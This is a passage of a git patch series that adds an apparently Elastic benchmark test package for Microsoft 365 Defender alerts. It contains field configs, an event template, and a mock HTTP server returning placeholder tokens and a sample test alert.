+  - name: SourceIp
     cardinality: 1000
-  - name: event_id
+  - name: EventId
     cardinality: 100000
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
index 7bb08ba905..8838ba018c 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
@@ -1,8 +1,8 @@
-- name: event_id
+- name: EventId
   type: keyword
-- name: severity
+- name: Severity
   type: keyword
-- name: status
+- name: Status
   type: keyword
-- name: source_ip
+- name: SourceIp
   type: ip
diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
index b67f1e8658..7f2c14d93f 100644
--- a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
+++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
@@ -1 +1 @@
-{"id":"{{.event_id}}","severity":"{{.severity}}","status":"{{.status}}","source_ip":"{{.source_ip}}","@timestamp":"2024-01-01T00:00:00Z"},
\ No newline at end of file
+{"id":"{{.EventId}}","severity":"{{.Severity}}","status":"{{.Status}}","source_ip":"{{.SourceIp}}","@timestamp":"2024-01-01T00:00:00Z"},
\ No newline at end of file

From 25b37d31bc6dedca9d2ea31bb2d1368dccb07bd8 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Mar 2026 18:21:05 +0530
Subject: [PATCH 09/19] Add multi deployer test package

---
 .../_dev/benchmark/system/alert-benchmark.yml |   30 +
 .../system/alert-benchmark/config.yml         |  136 +
 .../system/alert-benchmark/fields.yml         |  128 +
 .../system/alert-benchmark/template.ndjson    |   59 +
 .../deploy/docker/alert-http-mock-config.yml  |   61 +
 .../system/deploy/docker/docker-compose.yml   |   16 +
 .../_dev/benchmark/system/deploy/tf/env.yml   |    0
 .../system/deploy/tf/files/sample.log         |    0
 .../_dev/benchmark/system/deploy/tf/main.tf   |    0
 .../benchmark/system/deploy/tf/variables.tf   |    0
 .../_dev/benchmark/system/tf-benchmark.yml    |    0
 .../benchmark/system/tf-benchmark/config.yml  |    0
 .../benchmark/system/tf-benchmark/fields.yml  |    0
 .../system/tf-benchmark/template.log          |    0
 .../_dev/build/build.yml                      |    0
 .../_dev/build/docs/README.md                 |    0
 .../changelog.yml                             |  643 ++++
 .../alert/agent/stream/httpjson.yml.hbs       |   76 +
 .../elasticsearch/ingest_pipeline/default.yml | 2860 +++++++++++++++++
 .../data_stream/alert}/fields/base-fields.yml |    4 +-
 .../data_stream/alert/fields/beats.yml        |    6 +
 .../data_stream/alert/fields/fields.yml       |  506 +++
 .../data_stream/alert/manifest.yml            |   89 +
 .../data_stream/alert/sample_event.json       |  193 ++
 .../logfile/agent/stream/filestream.yml.hbs   |    0
 .../elasticsearch/ingest_pipeline/default.yml |    6 +-
 .../logfile/fields/base-fields.yml            |    4 +-
 .../data_stream/logfile/fields/fields.yml     |    2 +-
 .../data_stream/logfile/manifest.yml          |    2 +-
 .../docs/README.md                            |    0
 .../manifest.yml                              |  265 ++
 .../system/deploy/docker/docker-compose.yml   |   16 -
 .../system/deploy/docker/files/config.yml     |   20 -
 .../benchmark/system/docker-benchmark.yml     |   23 -
 .../system/docker-benchmark/config.yml        |   16 -
 .../system/docker-benchmark/fields.yml        |    8 -
 .../system/docker-benchmark/template.ndjson   |    1 -
 .../changelog.yml                             |    5 -
 .../httpjson/agent/stream/httpjson.yml.hbs    |   12 -
 .../elasticsearch/ingest_pipeline/default.yml |   21 -
 .../data_stream/httpjson/fields/fields.yml    |   15 -
 .../data_stream/httpjson/manifest.yml         |   29 -
 .../manifest.yml                              |   31 -
 43 files changed, 5077 insertions(+), 206 deletions(-)
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/docker-compose.yml
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/env.yml (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/files/sample.log (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/main.tf (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/deploy/tf/variables.tf (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark.yml (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/config.yml (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/fields.yml (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/benchmark/system/tf-benchmark/template.log (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/build/build.yml (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/_dev/build/docs/README.md (100%)
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/changelog.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/agent/stream/httpjson.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
 rename test/packages/benchmarks/{system_benchmark_multi_deployer/data_stream/httpjson => system_benchmark_m365_defender/data_stream/alert}/fields/base-fields.yml (89%)
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/beats.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/data_stream/alert/sample_event.json
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/agent/stream/filestream.yml.hbs (100%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml (79%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/fields/base-fields.yml (92%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/fields/fields.yml (75%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/data_stream/logfile/manifest.yml (95%)
 rename test/packages/benchmarks/{system_benchmark_multi_deployer => system_benchmark_m365_defender}/docs/README.md (100%)
 create mode 100644 test/packages/benchmarks/system_benchmark_m365_defender/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml
 delete mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml

diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
new file mode 100644
index 0000000000..b9bd2a5ab3
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark.yml
@@ -0,0 +1,30 @@
+---
+description: Benchmark 100000 alert events ingested
+input: httpjson
+deployer: docker
+vars:
+  login_url: http://svc-m365-defender-alert-http:8082
+  client_id: xxxx
+  client_secret: xxxx
+  tenant_id: tenant_id
+data_stream:
+  name: alert
+  vars:
+    request_url: http://svc-m365-defender-alert-http:8082
+    preserve_original_event: true
+    preserve_duplicate_custom_fields: true
+    include_unknown_enum_members: true
+warmup_time_period: 2s
+benchmark_time_period: 1m
+corpora:
+  input_service:
+    name: m365-defender-alert-http
+  generator:
+    total_events: 100000
+    template:
+      path: ./alert-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./alert-benchmark/config.yml
+    fields:
+      path: ./alert-benchmark/fields.yml 
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
new file mode 100644
index 0000000000..1a8f9d906b
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/config.yml
@@ -0,0 +1,136 @@
+- name: id
+  cardinality: 100000
+- name: providerAlertId
+  cardinality: 100000
+- name: incidentId
+  cardinality: 100000
+- name: status
+  enum:
+    - active
+    - new
+    - resolved
+- name: severity
+  enum:
+    - low
+    - high
+    - medium
+    - critical
+    - informational
+- name: classification
+  cardinality: 100000
+- name: determination
+  cardinality: 100000
+- name: serviceSource
+  cardinality: 100000
+- name: detectionSource
+  cardinality: 100000
+- name: productName
+  cardinality: 100000
+- name: detectorId
+  cardinality: 100000
+- name: tenantId
+  cardinality: 100000
+- name: title
+  cardinality: 100000
+- name: description
+  cardinality: 100000
+- name: recommendedActions
+  cardinality: 100000
+- name: category
+  cardinality: 100000
+- name: assignedTo
+  cardinality: 100000
+- name: alertWebUrl
+  cardinality: 100000
+- name: incidentWebUrl
+  cardinality: 100000
+- name: actorDisplayName
+  cardinality: 100000
+- name: threatDisplayName
+  cardinality: 100000
+- name: threatFamilyName
+  cardinality: 100000
+- name: mitreTechniques
+  cardinality: 100000
+- name: createdDateTime
+  period: -24h
+- name: lastUpdateDateTime
+  period: -24h
+- name: resolvedDateTime
+  period: -24h
+- name: firstActivityDateTime
+  period: -24h
+- name: lastActivityDateTime
+  period: -24h
+- name: alertPolicyId
+  cardinality: 100000
+- name: additionalData
+  cardinality: 100000
+- name: comments
+  cardinality: 100000
+- name: evidence.internetMessageId
+  cardinality: 100000
+- name: evidence.networkMessageId
+  cardinality: 100000
+- name: evidence.senderIp
+  cardinality: 100000
+- name: evidence.@odata.type
+  cardinality: 100000
+- name: evidence.createdDateTime
+  period: -24h
+- name: evidence.verdict
+  cardinality: 100000
+- name: evidence.remediationStatus
+  cardinality: 100000
+- name: evidence.remediationStatusDetails
+  cardinality: 100000
+- name: evidence.roles
+  cardinality: 100000
+- name: evidence.detailedRoles
+  cardinality: 100000
+- name: evidence.tags
+  cardinality: 100000
+- name: evidence.firstSeenDateTime
+  period: -24h
+- name: evidence.mdeDeviceId
+  cardinality: 100000
+- name: evidence.azureAdDeviceId
+  cardinality: 100000
+- name: evidence.deviceDnsName
+  cardinality: 100000
+- name: evidence.osPlatform
+  cardinality: 100000
+- name: evidence.osBuild
+  cardinality: 100000
+  range:
+    min: 10
+    max: 10000
+- name: evidence.version
+  cardinality: 100000
+- name: evidence.healthStatus
+  cardinality: 100000
+- name: evidence.riskScore
+  cardinality: 100000
+- name: evidence.rbacGroupId
+  cardinality: 100000
+  range:
+    min: 10
+    max: 10000
+- name: evidence.rbacGroupName
+  cardinality: 100000
+- name: evidence.onboardingStatus
+  cardinality: 100000
+- name: evidence.defenderAvStatus
+  cardinality: 100000
+- name: evidence.ipInterfaces
+  cardinality: 100000
+- name: evidence.vmMetadata
+  cardinality: 100000
+- name: evidence.loggedOnUsers.accountName
+  cardinality: 100000
+- name: evidence.loggedOnUsers.domainName
+  cardinality: 100000
+- name: '@odata.context'
+  cardinality: 100000
+- name: value
+  cardinality: 100000
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
new file mode 100644
index 0000000000..f8179a5bd8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/fields.yml
@@ -0,0 +1,128 @@
+- name: id
+  type: keyword
+- name: providerAlertId
+  type: keyword
+- name: incidentId
+  type: keyword
+- name: status
+  type: keyword
+- name: severity
+  type: keyword
+- name: classification
+  type: keyword
+- name: determination
+  type: keyword
+- name: serviceSource
+  type: keyword
+- name: detectionSource
+  type: keyword
+- name: productName
+  type: keyword
+- name: detectorId
+  type: keyword
+- name: tenantId
+  type: keyword
+- name: title
+  type: keyword
+- name: description
+  type: keyword
+- name: recommendedActions
+  type: keyword
+- name: category
+  type: keyword
+- name: assignedTo
+  type: keyword
+- name: alertWebUrl
+  type: keyword
+- name: incidentWebUrl
+  type: keyword
+- name: actorDisplayName
+  type: keyword
+- name: threatDisplayName
+  type: keyword
+- name: threatFamilyName
+  type: keyword
+- name: mitreTechniques
+  type: keyword
+- name: createdDateTime
+  type: date
+- name: lastUpdateDateTime
+  type: date
+- name: resolvedDateTime
+  type: date
+- name: firstActivityDateTime
+  type: date
+- name: lastActivityDateTime
+  type: date
+- name: alertPolicyId
+  type: keyword
+- name: additionalData
+  type: keyword
+- name: comments
+  type: keyword
+- name: evidence
+  type: group
+  fields:
+  - name: internetMessageId
+    type: keyword
+  - name: networkMessageId
+    type: keyword
+  - name: senderIp
+    type: keyword
+  - name: '@odata.type'
+    type: keyword
+  - name: createdDateTime
+    type: date
+  - name: verdict
+    type: keyword
+  - name: remediationStatus
+    type: keyword
+  - name: remediationStatusDetails
+    type: keyword
+  - name: roles
+    type: keyword
+  - name: detailedRoles
+    type: keyword
+  - name: tags
+    type: keyword
+  - name: firstSeenDateTime
+    type: date
+  - name: mdeDeviceId
+    type: keyword
+  - name: azureAdDeviceId
+    type: keyword
+  - name: deviceDnsName
+    type: keyword
+  - name: osPlatform
+    type: keyword
+  - name: osBuild
+    type: long
+  - name: version
+    type: keyword
+  - name: healthStatus
+    type: keyword
+  - name: riskScore
+    type: keyword
+  - name: rbacGroupId
+    type: long
+  - name: rbacGroupName
+    type: keyword
+  - name: onboardingStatus
+    type: keyword
+  - name: defenderAvStatus
+    type: keyword
+  - name: ipInterfaces
+    type: keyword
+  - name: vmMetadata
+    type: keyword
+  - name: loggedOnUsers
+    type: group
+    fields:
+    - name: accountName
+      type: keyword
+    - name: domainName
+      type: keyword
+- name: '@odata.context'
+  type: keyword
+- name: value
+  type: keyword
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
new file mode 100644
index 0000000000..fee57311fe
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/alert-benchmark/template.ndjson
@@ -0,0 +1,59 @@
+{{- $id := generate "id" -}}
+{{- $providerAlertId := generate "providerAlertId" -}}
+{{- $incidentId := generate "incidentId" -}}
+{{- $status := generate "status" -}}
+{{- $severity := generate "severity" -}}
+{{- $classification := generate "classification" -}}
+{{- $determination := generate "determination" -}}
+{{- $serviceSource := generate "serviceSource" -}}
+{{- $detectionSource := generate "detectionSource" -}}
+{{- $productName := generate "productName" -}}
+{{- $detectorId := generate "detectorId" -}}
+{{- $tenantId := generate "tenantId" -}}
+{{- $title := generate "title" -}}
+{{- $description := generate "description" -}}
+{{- $recommendedActions := generate "recommendedActions" -}}
+{{- $category := generate "category" -}}
+{{- $assignedTo := generate "assignedTo" -}}
+{{- $alertWebUrl := generate "alertWebUrl" -}}
+{{- $incidentWebUrl := generate "incidentWebUrl" -}}
+{{- $actorDisplayName := generate "actorDisplayName" -}}
+{{- $threatDisplayName := generate "threatDisplayName" -}}
+{{- $threatFamilyName := generate "threatFamilyName" -}}
+{{- $mitreTechniques := generate "mitreTechniques" -}}
+{{- $createdDateTime := generate "createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $lastUpdateDateTime := generate "lastUpdateDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $resolvedDateTime := generate "resolvedDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $firstActivityDateTime := generate "firstActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $lastActivityDateTime := generate "lastActivityDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $alertPolicyId := generate "alertPolicyId" -}}
+{{- $additionalData := generate "additionalData" -}}
+{{- $comments := generate "comments" -}}
+{{- $evidenceInternetmessageid := generate "evidence.internetMessageId" -}}
+{{- $evidenceNetworkmessageid := generate "evidence.networkMessageId" -}}
+{{- $evidenceSenderip := generate "evidence.senderIp" -}}
+{{- $evidenceCreateddatetime := generate "evidence.createdDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $evidenceVerdict := generate "evidence.verdict" -}}
+{{- $evidenceRemediationstatus := generate "evidence.remediationStatus" -}}
+{{- $evidenceRemediationstatusdetails := generate "evidence.remediationStatusDetails" -}}
+{{- $evidenceRoles := generate "evidence.roles" -}}
+{{- $evidenceDetailedroles := generate "evidence.detailedRoles" -}}
+{{- $evidenceTags := generate "evidence.tags" -}}
+{{- $evidenceFirstseendatetime := generate "evidence.firstSeenDateTime" | date "2006-01-02T15:04:05.000000Z" -}}
+{{- $evidenceMdedeviceid := generate "evidence.mdeDeviceId" -}}
+{{- $evidenceAzureaddeviceid := generate "evidence.azureAdDeviceId" -}}
+{{- $evidenceDevicednsname := generate "evidence.deviceDnsName" -}}
+{{- $evidenceOsplatform := generate "evidence.osPlatform" -}}
+{{- $evidenceOsbuild := generate "evidence.osBuild" -}}
+{{- $evidenceVersion := generate "evidence.version" -}}
+{{- $evidenceHealthstatus := generate "evidence.healthStatus" -}}
+{{- $evidenceRiskscore := generate "evidence.riskScore" -}}
+{{- $evidenceRbacgroupid := generate "evidence.rbacGroupId" -}}
+{{- $evidenceRbacgroupname := generate "evidence.rbacGroupName" -}}
+{{- $evidenceOnboardingstatus := generate "evidence.onboardingStatus" -}}
+{{- $evidenceDefenderavstatus := generate "evidence.defenderAvStatus" -}}
+{{- $evidenceIpinterfaces := generate "evidence.ipInterfaces" -}}
+{{- $evidenceVmmetadata := generate "evidence.vmMetadata" -}}
+{{- $evidenceLoggedonusersAccountname := generate "evidence.loggedOnUsers.accountName" -}}
+{{- $evidenceLoggedonusersDomainname := generate "evidence.loggedOnUsers.domainName" -}}
+{"id":"{{$id}}","providerAlertId":"{{$providerAlertId}}","incidentId":"{{$incidentId}}","status":"{{$status}}","severity":"{{$severity}}","classification":"{{$classification}}","determination":"{{$determination}}","serviceSource":"{{$serviceSource}}","detectionSource":"{{$detectionSource}}","productName":"{{$productName}}","detectorId":"{{$detectorId}}","tenantId":"{{$tenantId}}","title":"{{$title}}","description":"{{$description}}","recommendedActions":"{{$recommendedActions}}","category":"{{$category}}","assignedTo":"{{$assignedTo}}","alertWebUrl":"{{$alertWebUrl}}","incidentWebUrl":"{{$incidentWebUrl}}","actorDisplayName":"{{$actorDisplayName}}","threatDisplayName":"{{$threatDisplayName}}","threatFamilyName":"{{$threatFamilyName}}","mitreTechniques":["{{$mitreTechniques}}"],"createdDateTime":"{{$createdDateTime}}","lastUpdateDateTime":"{{$lastUpdateDateTime}}","resolvedDateTime":"{{$resolvedDateTime}}","firstActivityDateTime":"{{$firstActivityDateTime}}","lastActivityDateTime":"{{$lastActivityDateTime}}","alertPolicyId":"{{$alertPolicyId}}","additionalData":"{{$additionalData}}","comments":[{"name": "{{$comments}}"}],"evidence":[{"internetMessageId":"{{$evidenceInternetmessageid}}","networkMessageId":"{{$evidenceNetworkmessageid}}","senderIp":"{{$evidenceSenderip}}","createdDateTime":"{{$evidenceCreateddatetime}}","verdict":"{{$evidenceVerdict}}","remediationStatus":"{{$evidenceRemediationstatus}}","remediationStatusDetails":"{{$evidenceRemediationstatusdetails}}","roles":["{{$evidenceRoles}}"],"detailedRoles":["{{$evidenceDetailedroles}}"],"tags":["{{$evidenceTags}}"],"firstSeenDateTime":"{{$evidenceFirstseendatetime}}","mdeDeviceId":"{{$evidenceMdedeviceid}}","azureAdDeviceId":"{{$evidenceAzureaddeviceid}}","deviceDnsName":"{{$evidenceDevicednsname}}","osPlatform":"{{$evidenceOsplatform}}","osBuild":"{{$evidenceOsbuild}}","version":"{{$evidenceVersion}}","healthStatus":"{{$evidenceHealthstatus}}","riskScore":"{{$evidenceRiskscore}}","rbacGroupId":"{{$evidenceRbacgroupid}}","rbacGroupName":"{{$evidenceRbacgroupname}}","onboardingStatus":"{{$evidenceOnboardingstatus}}","defenderAvStatus":"{{$evidenceDefenderavstatus}}","ipInterfaces":["{{$evidenceIpinterfaces}}"],"vmMetadata":"{{$evidenceVmmetadata}}","loggedOnUsers":[{"accountName":"{{$evidenceLoggedonusersAccountname}}","domainName":"{{$evidenceLoggedonusersDomainname}}"}]}]},
diff --git a/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
new file mode 100644
index 0000000000..4fcf80abe6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_m365_defender/_dev/benchmark/system/deploy/docker/alert-http-mock-config.yml
@@ -0,0 +1,61 @@
+rules:
+  - path: /tenant_id/oauth2/v2.0/token
+    methods: [POST]
+    query_params:
+      grant_type: client_credentials
+    request_headers:
+      Content-Type:
+        - "application/x-www-form-urlencoded"
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN","token_type": "Bearer","not_before": 1549647431,"expires_in": 3600}
+  # Refresh token to get access token: https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow#refresh-the-access-token
+  - path: /tenant_id/oauth2/v2.0/token
+    methods: [ POST ]
+    query_params:
+      refresh_token: refresh_token_123
+      grant_type: refresh_token
+    request_headers:
+      Content-Type:
+        - "application/x-www-form-urlencoded"
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {{ minify_json `
+          {
+            "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN",
+            "token_type": "Bearer",
+            "expires_in": 2,
+            "scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read",
+            "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...",
+            "id_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0LTQ2YTctOD..."
+          }
+          `}}
+  - path: /v1.0/security/alerts_v2
+    methods: [GET]
+    request_headers:
+      Authorization:
+        - "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Ilg1ZVhrN"
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - "application/json"
+        body: |-
+          {
+            "value": [
+              {{- $g := glob "/var/log/corpus-*" -}}
+              {{- range $g -}}
+                {{- file . -}}
+              {{- end -}}
+              {{/* A last line of hard-coded data is required to properly close the JSON body */}}
+              { "id": "da2046fc02-67f1-41f5-923d-ef916d70c005_1", "providerAlertId": "2046fc02-67f1-41f5-923d-ef916d70c005_1", "incidentId": "23", "status": "new", "severity": "informational", "classification": null, "determination": null, "serviceSource": "microsoftDefenderForEndpoint", "detectionSource": "microsoftDefenderForEndpoint", "productName": "Microsoft Defender for Endpoint", "detectorId": "de54c08f-c3f5-40e3-ae58-7e3fffbc2574", "tenantId": "3adb963c-8e61-48e8-a06d-6dbb0dacea39", "title": "[Test Alert] Suspicious Powershell commandline", "description": " This is a test alert \nA suspicious Powershell commandline was found on the machine. This commandline might be used during installation, exploration, or in some cases with lateral movement activities which are used by attackers to invoke modules, download external payloads, and get more information about the system. Attackers usually use Powershell to bypass security protection mechanisms by executing their payload in memory without touching the disk and leaving any trace.", "recommendedActions": " This is a test alert \n1. Examine the PowerShell commandline to understand what commands were executed. Note: the script may need to be decoded if it is base64-encoded\n2. Search the script for more indicators to investigate - for example IP addresses (potential C&C servers), target computers etc.\n3. Explore the timeline of this and other related machines for additional suspect activities around the time of the alert. \n4. Look for the process that invoked this PowerShell run and their origin. Consider submitting any suspect files in the chain for deep analysis for detailed behavior information.", "category": "Execution", "assignedTo": null, "alertWebUrl": "https://security.microsoft.com/alerts/da2046fc02-67f1-41f5-923d-ef916d70c005_1?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "incidentWebUrl": "https://security.microsoft.com/incidents/23?tid=3adb963c-8e61-48e8-a06d-6dbb0dacea39", "actorDisplayName": null, "threatDisplayName": null, "threatFamilyName": null, "mitreTechniques": [ "T1059.001" ], "createdDateTime": "2023-10-20T09:54:06.750499Z", "lastUpdateDateTime": "2023-10-20T09:54:10.4666667Z", "resolvedDateTime": null, "firstActivityDateTime": "2023-10-20T09:51:39.5154802Z", "lastActivityDateTime": "2023-10-20T09:51:39.5154802Z", "alertPolicyId": null, "additionalData": null, "comments": [], "evidence": [ { "@odata.type": "#microsoft.graph.security.deviceEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [ "PrimaryDevice" ], "tags": [], "firstSeenDateTime": "2023-10-20T09:50:17.7383987Z", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "azureAdDeviceId": "f18bd540-d5e4-46e0-8ddd-3d03a59e4e14", "deviceDnsName": "clw555test", "osPlatform": "Windows11", "osBuild": 22621, "version": "22H2", "healthStatus": "inactive", "riskScore": "high", "rbacGroupId": 0, "rbacGroupName": null, "onboardingStatus": "onboarded", "defenderAvStatus": "notSupported", "ipInterfaces": [ "192.168.5.65", "fe80::cfe4:80b:615c:38fb", "127.0.0.1", "::1" ], "vmMetadata": null, "loggedOnUsers": [] }, { "@odata.type": "#microsoft.graph.security.userEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": "S-1-12-1-1485667349-1150190949-4065799612-2328216759", "azureAdUserId": "588d7c15-8565-448e-bc2d-57f2b7c4c58a", "userPrincipalName": "cdp.38411@crestdatasys.com", "displayName": null } }, { "@odata.type": "#microsoft.graph.security.processEvidence", "createdDateTime": "2023-10-20T09:54:06.84Z", "verdict": "unknown", "remediationStatus": "none", "remediationStatusDetails": null, "roles": [], "detailedRoles": [], "tags": [], "processId": 5772, "parentProcessId": 7408, "processCommandLine": "\"cmd.exe\" ", "processCreationDateTime": "2023-10-20T09:51:19.5064237Z", "parentProcessCreationDateTime": "2023-10-20T09:34:32.0067951Z", "detectionStatus": "detected", "mdeDeviceId": "505d70d89cfa3428f7aac7d2eb3a64c60fd3d843", "imageFile": { "sha1": "13e9bb7e85ff9b08c26a440412e5cd5d296c4d35", "sha256": "423e0e810a69aaceba0e5670e58aff898cf0ebffab99ccb46ebb3464c3d2facb", "fileName": "cmd.exe", "filePath": "C:\\Windows\\System32", "fileSize": 323584, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "parentProcessImageFile": { "sha1": null, "sha256": null, "fileName": "explorer.exe", "filePath": "C:\\Windows", "fileSize": 5261576, "filePublisher": "Microsoft Corporation", "signer": null, "issuer": null }, "userAccount": { "accountName": "CDPUserIS-38411", "domainName": "AzureAD", "userSid": 